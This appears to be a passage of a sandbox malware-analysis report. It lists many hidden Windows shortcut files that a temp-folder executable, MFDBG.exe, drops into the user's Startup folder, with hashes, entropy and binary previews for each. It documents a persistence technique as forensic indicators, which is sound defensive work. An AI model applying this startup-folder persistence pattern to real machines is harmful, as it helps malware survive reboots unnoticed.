File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923814910635417
Encrypted:	false
SSDEEP:	24:8GBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1BB5578BEF887CFD2FC5405795FF9880
SHA1:	1BF97F3D635DDA79B987487261209E7F7DE801D5
SHA-256:	E8835803E48648D2DFB0060690106C171D5632D3261A8565D36491897CDC30C1
SHA-512:	E0FCDFA216224181084E673212F0F339838E0B2B2DD8866895B33095478EEA99852F5B8842D25C11BEC59F28EE8D054A2BD42C9AC405B28D64FF8116B707A9DC
Malicious:	false
Preview:	L..................F....".......d.....R.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....9t.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4d6ae53c7d849b38ff6f23886167cbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922890249698346
Encrypted:	false
SSDEEP:	24:80Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8azEvZ0yRO7DLO2zdxdRd1kyg
MD5:	40FFFA9C0B264EBE78F21ADDBEAC8573
SHA1:	4E11B7EF90E0E673A1B5DC911BCCE5E797DCF0D9
SHA-256:	EAB6C8463B31BB946A1E36033FC0FE958F6C2F35354F52460585DC73EB99FE4D
SHA-512:	BD42606CACF158A5615513D8273282C5FBACF33756D951D60CD4DEF891369877890B8E2E878F0EF01259BAB67505CB01005EFBCA2B284780ACFAB3A4C07C1E21
Malicious:	false
Preview:	L..................F....".......d...u,2'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51455206397447e902dc9429442182e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917778396119459
Encrypted:	false
SSDEEP:	24:8tBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8foEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BD4A7663931ADC2875153B9FF0682D91
SHA1:	75EAE64FF4E03E367DBB963D17E9544B3F971991
SHA-256:	069396F3D7176BBF3E148D7686B798E4BB79DAA9A85442DC2161820B9A853EF0
SHA-512:	53D7E6BF06B408C0E99FE1D887B232C0F8D07E494627C4790802FCE973F332F15C80CC7E2A44370861BEB842C86DFB3DC80A948B38EA2A8AD448B852D45D9FFF
Malicious:	false
Preview:	L..................F....".......d...M..[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e5c383e4869e4538804470cbca6cc43b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92131396309172
Encrypted:	false
SSDEEP:	24:8uBff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7604B3406CDA268CAFAA775B4DF102BD
SHA1:	B3135FB0127F12BD76393A2566BAE7185FE13002
SHA-256:	DB70754EABF2B40E45E4FA756C99D465A7A55EAC3175035BB2D0A0C248FA1407
SHA-512:	D414F81926F5EAF507C6B33A653DC0F006CB3918D1E5019A30A016C2B093453C511EE7163F01C8D3A151F8AFBC99A678B4D0B0772BB2422F15407360957DD10C
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e5c53a068cd441d8aaf2ec8c642a7399.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920486997442927
Encrypted:	false
SSDEEP:	24:8P2BfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0131DECD62C0270369C641964B121984
SHA1:	1109517AF7357B952CF45DC5C81DB4C84AA3F0A4
SHA-256:	18A54EED769E8BE9451362BFFBC71EF93E1EEF4A5387D8155D83196A569BC15B
SHA-512:	D2B3884493EDEDC79788B905FE962C63050400364D5FD458E233C78556DBDC15BCC21627BE5053061F0E167AF3969FAAD4E1FE8A658EC2F02E823573B34E0D20
Malicious:	false
Preview:	L..................F....".......d.....&Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e66d5af40411499abd6353af70bf0b52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925179273477482
Encrypted:	false
SSDEEP:	24:87BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8t4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CB451C751A8A92D90EE4587D129B2D9A
SHA1:	BDEB01EABE4109B0114267215EB2A1B15202D2B5
SHA-256:	8907A07F4F66FE8805C0B3E7BD38E879F0F8E903258F5BCF35DE487C69704070
SHA-512:	39C263C9C01BEF75B1B1C634953BE65F94BDC627E4C0AE68222CADEFCC28E20DC9FC53D89D0019BE5AC845D847C64A55B234EEF46686D7C05C7D6EF522EA6DB7
Malicious:	false
Preview:	L..................F....".......d...\..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e69b463016a048d6a377e01f399e0f34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921581595271278
Encrypted:	false
SSDEEP:	24:862BfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:868IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	792CE7E055636BC04E81E47AED8C72A7
SHA1:	46DE87923E18550DFB9A505C09063CA77CF96D94
SHA-256:	1F42AF8F0FD9B13E75164689E8F4BF05D497B04E043FD3A53FF3E69ED64544AE
SHA-512:	654C3A56BA092C0DB40C85BDB321DF0CF79AED11E4B3527961546E88B73A5981E971EF4CCCA36D8000D34A84BADD60CB874888E0218E8B1FE55A819A97D0DCB5
Malicious:	false
Preview:	L..................F....".......d....\| .d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6a2c5b4a9b74da491ce913645176a7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920148871764225
Encrypted:	false
SSDEEP:	24:8CBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	586B1D54E1B6C16E9D1A64BDD82B2097
SHA1:	523BC21B90F5BAE221F80F7284C54A5554E07091
SHA-256:	7AE886E539A8068C6FDFC1EA8357B1275F4FD44762FA24960AA66CF7F45A3F12
SHA-512:	7138AE8DAB09F5DCC45EC17863769E1A62A2C87E12D815DFB8EEE7200B571D76958C21F2799A44E95002DA835812BAE3B270CD8A4EB5A10E8A16497C69C183BC
Malicious:	false
Preview:	L..................F....".......d...\:."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6b67fc2032e410da5ef2d5ac0b602e4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920274156103556
Encrypted:	false
SSDEEP:	24:8hBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F92432653B1EB15CE7C6B35A610F484D
SHA1:	DCD6D61167C1CAC69D1515174D2381680D0F9D61
SHA-256:	043A28ECD4959EDD570895D6EC605940B46DA78DD6E8649E8C066859F7989FF1
SHA-512:	0AF365FEB562D1C3D1216427DDC72EBA21E280AE369AE3D84D87783CA79D6C27743277ED3AE3A455F8DDC5DE1CC890E1B8AD05B53E93F5846866E7C07F83D60D
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7509e2f07204299ba37e97647e38724.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9195862979087295
Encrypted:	false
SSDEEP:	24:86BfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84gEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9A6D9FD435C78AACE5F3E3552DFC096A
SHA1:	B3BC4E59CCCF35A0A2A6A0F1D7BD461C94B51532
SHA-256:	BF3BE0EA291428B18FEC33F0906E30E7A81E3EDB2ECB78C94B3B2A0AB898BA89
SHA-512:	89B1CB57E35CD851F91DBC492D31E801FF7420C030F78A25CAB9401E6BF7638A34C883DE60DF93D8B5A0DAD9268245C6F226836B412E217AAA41A3A883C8B7EA
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e79f718fe8704bf19193bfefc90c1a91.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9301589851334
Encrypted:	false
SSDEEP:	24:8+Bf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DAA67E8FC7752FDF3F514556650646D7
SHA1:	CD6C65057A305D833ECCA0D31FE39AD38CB6044F
SHA-256:	EF7BE754A04FC8FABAB995A556D8074936255A535E83D937B28891972A7F551D
SHA-512:	366006F3C4719399E8E37BB6559E2F8266BA7DC075A0EA5210AA74CFB006E74B0E5AEF89E171CA1499EE2052AE8B3672A527D9AFD8908249374CE0EA656939A1
Malicious:	false
Preview:	L..................F....".......d....~;Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....IRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7f91745407d43f39ab8406d4a863a79.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928326756627698
Encrypted:	false
SSDEEP:	24:8G3BfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GR/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F041C1CDD7764ACA3E1CECB32377111D
SHA1:	510E3B9CB7C2C890AF8EFF6C09FF440780A40246
SHA-256:	0735B34D42AD38F0B899DA2C4CA9FE004221EC5E1CE36FA811258ECB837AC95F
SHA-512:	54A5A8DEF5667B3C51465C22E3C5E9BAC5349ADEAE4C69338E5447B7EAC76FD99E835AAFF3503BC1F9456051658B163A055026006F08BB8F891BA385DDBD2EE4
Malicious:	false
Preview:	L..................F....".......d....{{%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8017adbfe234afe8e3aaac388b18790.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92125057171369
Encrypted:	false
SSDEEP:	24:87BfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8toEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BEC0E7A02BF9A0F4BF8E34E062347556
SHA1:	9C4BCC27314184F96975040F26236FAA68F0B5C5
SHA-256:	BC7C0CEB28293632E20095D1DF1C7561BB60B410864DB6FD46BD01D2612CFC5B
SHA-512:	7C73CBA5A7B036E6A3892B96E37CEE84AA097F7F2524E5308AE1C1DB69DC1B970E0631111D19C304503C4DFCE2B8D0E4DAFD899942B44BFCEC396FAE56986EAC
Malicious:	false
Preview:	L..................F....".......d...s3.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e87faf28939b4486b16a4effc9a39d06.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
